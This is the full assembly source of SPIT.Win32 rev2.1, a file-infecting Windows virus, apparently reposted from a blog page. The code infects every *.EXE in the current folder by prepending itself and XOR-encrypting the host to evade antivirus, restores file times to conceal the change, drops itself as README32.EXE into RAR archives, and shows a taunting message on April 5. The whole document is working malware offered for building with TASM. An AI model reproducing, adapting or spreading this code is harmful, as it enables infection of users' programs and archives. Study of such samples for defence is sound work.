Win32_Spit.asm

;
; SPIT.Win32 rev2.1
; a Bumblebee Win32 Virus
;
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
; Win32 virus using ffirst 'n' fnext.
; . Copies into host: virus+host. When host execs copies host to
; temporary file and execs it. Then waits until exec ends to delete
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
;
; . Is my 1st PE virus and can be improved -see icons on infected files-.
; But SPIT uses a simple way to infect!
;
; . Notes:
; - Uses WinExec 'cause CreateProcess is more complex.
; - Virus size is 8192 bytes (code+data+headers+...)
; - Marks Dos header with 'hk' on infected files
; - Makes a semi-random name for tmp file
;
; . What's new on rev2?
;
; - Only infect PE files
; - exec host before infect
; - Best random tmp name
; - Hide tmp host with hidden attribute while exec
; - Encrypts host -fuck you avers ;)-
; - no file time change
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
;
; . What's new on rev2.1?
; - a stupid error fixed -WinExec 1st push must be 1 :(-
;
;
; . ThanX to...
;
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
; find a bug when i think it was finished ...
;
;
; The way of the bee
;
; . yeah Lich... win32 programming is:
;
; push shit
; push moreShit
; push tooMuchShit
; call WinGoesToHell
;
;
; tasm /ml /m3 v32,,;
; tlink32 -Tpe -c v32,v32,, import32.lib
;

.386
locals
jumps
.model flat,STDCALL

; procs to import
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn ReadFile:PROC
extrn GetCommandLineA:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn MessageBoxA:PROC
extrn _llseek:PROC
extrn GetFileSize:PROC
extrn DeleteFileA:PROC
extrn WinExec:PROC
extrn lstrcpy:PROC
extrn lstrcat:PROC
extrn GetSystemTime:PROC
extrn SetFileAttributesA:PROC
extrn GetFileTime:PROC
extrn SetFileTime:PROC


; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends

; struc from 29A INC files... THANX you a lot!
IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER

; for RAR drop
HeaderSize equ FinRARHeader-RARHeader
Size equ 8192

.DATA

dos_header IMAGE_DOS_HEADER <?> ; for inf check test
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
fMask: db '*.EXE',0 ; mask for exe
ffHnd: dd ? ; ff'n'fn handle
fHnd: dd ? ; file handle
mHnd: dd ? ; memory handle
mtHnd: dd ? ; tmp memory handle
mtaHnd: dd ? ; tmp memory handle for args
commandLine: dd ? ; you know...
hArgs: db ? ; flag for has args
argsPos: dd ? ; pos of args in cmd line
fSize: dd ? ; tmp size of file
size2Read dd 0 ; used for r/w ops

titleb db 'Virus Report rev2.1',0
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
db 0ah,0dh,0
tmpHost db 'bbbee'
rndHost db '000000.exe',0
execStatus: db 0 ; status after exec

sysTimeStruct db 16 dup(0)

; data for save time
stfHnd dd ?
time0 dd 0,0
time1 dd 0,0
time2 dd 0,0
sErr db 0

; data for RAR drop by CD13
dMask: db '*.RAR',0 ; mask for rar
Number dd 0
RARHeader: ; Header that we will add
RARHeaderCRC dw 0 ; We'll fill: CRC of header
RARType db 074h ; File Header
RARFlags dw 8000h
RARHeadsize dw HeaderSize
RARCompressed dd Size ; Compressed and Original
RAROriginal dd Size ; size are the same, we stored
RAROs db 0 ; OS: ms-dos
RARCrc32 dd 0 ; We must fill this field
RARFileTime db 063h,078h ; Time of the program
RARFileDate db 031h,024h ; Date of the proggy
RARNeedVer db 014h
RARMethod db 030h ; Method: storing
RARFnameSize dw FinRARHeader-RARName
RARAttrib dd 0
RARName db "README32.EXE" ; Name of file to drop

FinRARHeader label byte

.CODE

inicio:
lea eax,sysTimeStruct ; check for payload
push eax
call GetSystemTime

lea eax,sysTimeStruct ; april 5
cmp word ptr [eax+2],4
jne skipPay
cmp word ptr [eax+6],5
jne skipPay

push 1000h ; petty payload
lea eax,titleb
push eax
lea eax,vid
push eax
push 0
call MessageBoxA

skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax

skipArgs: ; skip args
cmp dword ptr [eax],'EXE.'
je argsOk
inc eax
jmp skipArgs
argsOk:
add eax,4
cmp byte ptr [eax],0
jne hasArgs
mov byte ptr hArgs,0
jmp sHasArgs
hasArgs:
mov byte ptr [eax],0
mov byte ptr hArgs,1
mov dword ptr [argsPos],eax

sHasArgs:

call execHoste ; exec host

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 8192 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc
cmp eax,0
je justOut ; ops... not memory to alloc?
mov dword ptr [mHnd],eax

xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je justOut ; error: we can't infect ..snif..

mov dword ptr [fHnd],eax ; save handle

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call ReadFile ; read vx from hoste
mov eax,dword ptr size2Read
cmp eax,0
je justOut

mov eax,dword ptr [mHnd]
add eax,12h
mov word ptr [eax],'kh' ; infection sign
; -only needed in 1st infection-
; but...

hOwnClose:
mov eax,dword ptr [fHnd] ; close own file
push eax
call CloseHandle

lea eax,find_data ; find first *.exe
push eax
lea eax,fMask
push eax
call FindFirstFileA
cmp eax,-1
je goOut
mov dword ptr [ffHnd],eax

fnext:
call checkFile ; check file before infection process
jc noInfect
call infectFile

noInfect:
lea eax,find_data ; find next *.exe
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnext

mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle

goOut:
lea eax,find_data ; find first *.rar
push eax
lea eax,dMask
push eax
call FindFirstFileA
cmp eax,-1
je justOut
mov dword ptr [ffHnd],eax

fnextRar:
call saveTime
call drop
cmp byte ptr [sErr],1
je findNextRar
call restoreTime

findNextRar:
lea eax,find_data ; find next *.rar
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnextRar

mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle

justOut:
cmp byte ptr [execStatus],0 ; error while exec host?
je skipDelLoop

delLoop:
lea eax,tmpHost
push eax ; delete tmp hoste
call DeleteFileA
cmp eax,0
je delLoop ; wait until exec ends

skipDelLoop:
push 0h ; exit
call ExitProcess
jmp skipDelLoop

checkFile: ; checks file
push edx
lea edx,find_data.cFileName
call testIfPE
pop edx
jc checkErrOut

mov ax,word ptr dos_header.MZ_csum
cmp ax,'kh'
je checkErrOut ; check if it's infected yet

checkOut:
clc
ret

checkErrOut:
stc
ret

testIfPE:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
push edx
call CreateFileA ; open file for read (shared)
cmp eax,-1
je loadHErrOut

mov dword ptr [fHnd],eax ; save handle

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push IMAGE_SIZEOF_DOS_HEADER
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read DOS header
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut

mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'M'+'Z' ; check it's a EXE
jne loadHErrOut

push 0
push dword ptr [dos_header.MZ_lfanew]
push dword ptr [fHnd]
call _llseek ; lseek to begin of PE header
cmp eax,-1
je loadHErrOut

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 2
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read PE sign
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut

mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'P'+'E' ; check it's a PE
jne loadHErrOut

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
clc
ret

loadHErrOut:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
stc
ret

infectFile:

call saveTime ; save time of file

xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h OR 00000002h
push 40000000h OR 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open file for r/w (shared)
cmp eax,-1
je infErrOutNC

mov dword ptr [fHnd],eax ; save handle

push 0
push eax
call GetFileSize
cmp eax,-1
je infErrOutC

mov dword ptr [fSize],eax ; save size of file

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for future hoste
cmp eax,0
je infErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read future hoste
mov eax,dword ptr size2Read
cmp eax,0
je infErrOutC

push 0
push 0
push dword ptr [fHnd]
call _llseek ; lseek to begin of file
cmp eax,-1
je infErrOutC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call WriteFile ; write virii

call encrypt ; encrypt hoste

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write future hoste

push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem

infErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

infErrOutNC:
cmp byte ptr [sErr],0
jne skipRestoreTime
call restoreTime

skipRestoreTime:
ret

execHoste:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open host file for read (shared)
cmp eax,-1
je exeErrOutNC

mov dword ptr [fHnd],eax ; save handle

push 0
push eax
call GetFileSize
cmp eax,-1
je exeErrOutC

sub eax,8192 ; sub virus size
mov dword ptr [fSize],eax ; save size of file

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax

push 0
push 8192
push dword ptr [fHnd]
call _llseek ; lseek to hoste of file
cmp eax,-1
je exeErrOutC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read hoste
mov eax,dword ptr size2Read
cmp eax,0
je exeErrOutC

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

call encrypt ; dencrypt hoste

mov ecx,6
mov edx,offset rndHost
loopRnd:
call getRandom ; make a random tmp name
mov byte ptr [edx],al
inc edx
loop loopRnd

xor eax,eax
push eax
push 00000020h ; archive
push 1
push eax
push 00000001h OR 00000002h
push 40000000h
lea eax,tmpHost
push eax
call CreateFileA ; open new file for write (shared)
cmp eax,-1
je exeErrOutNC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write hoste

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 1024 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutNC ; ops... not memory to alloc?
mov dword ptr [mtaHnd],eax

lea eax,tmpHost
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcpy ; make a command line

cmp byte ptr [hArgs],0 ; it has not arguments
je execNow

mov eax,dword ptr [argsPos]
mov byte ptr [eax],' '
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcat ; add arguments

execNow:
push 1
mov eax,dword ptr [mtaHnd]
push eax ; exec tmp hoste
call WinExec
mov byte ptr [execStatus],1

push 2
lea eax,tmpHost
push eax
call SetFileAttributesA ; hide file

ret

exeErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

exeErrOutNC:
ret

getRandom:
in al,40h
cmp al,65
jb getRandom
cmp al,90
ja getRandom

ret

encrypt:
mov edi,dword ptr [mtHnd]
mov eax,dword ptr [fSize] ; use size low byte as ckey
mov ecx,dword ptr [fSize]
encryptLoop:
xor byte ptr [edi],al
inc edi
loop encryptLoop
ret

saveTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je saveErr ; error: we can't save time

mov dword ptr [stfHnd],eax

lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call GetFileTime

mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
mov byte ptr [sErr],0
ret

saveErr:
mov byte ptr [sErr],1
ret

restoreTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je restoreErr ; error: we can't restore time

mov dword ptr [stfHnd],eax

lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call SetFileTime

mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle

restoreErr:
ret

; CD13 routines modified for SPIT -cool routines!-
drop:
xor eax,eax ; open rar file
push eax
push 00000080h
push 3
push eax
push eax
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA
cmp eax,-1
je dropErr

mov dword ptr [fHnd],eax

xor eax,eax
push 02
push eax ; Move pointer to EOF
push dword ptr [fHnd]
call _llseek

mov esi,dword ptr [mHnd]
mov edi,Size ; Get CRC32 of the program
call CRC32 ; that we'll drop

mov dword ptr [RARCrc32],eax ; Save the CRC

mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32 ; Get CRC32 of the header
mov word ptr [RARHeaderCRC],ax

xor eax,eax
push eax
push offset Number ; Number of bytes written
push HeaderSize
push offset RARHeader ; Write the header
push dword ptr [fHnd]
call WriteFile

mov word ptr [RARHeaderCRC],0
mov word ptr [RARCrc32],0 ; Blank these fields
mov word ptr [RARCrc32+2],0

push 0
push offset Number
push Size
push dword ptr [mHnd] ; Drop the file
push dword ptr [fHnd]
call WriteFile

push dword ptr [fHnd] ; Close it
call CloseHandle

dropErr:
ret

CRC32: cld ; Routine extracted from Vecna's
push ebx ; Inca virus! Muito brigado, friend!
mov ecx,-1 ; Calculates CRC32 at runtime, no
mov edx,ecx ; need of big tables.
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret

Ends
End inicio
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值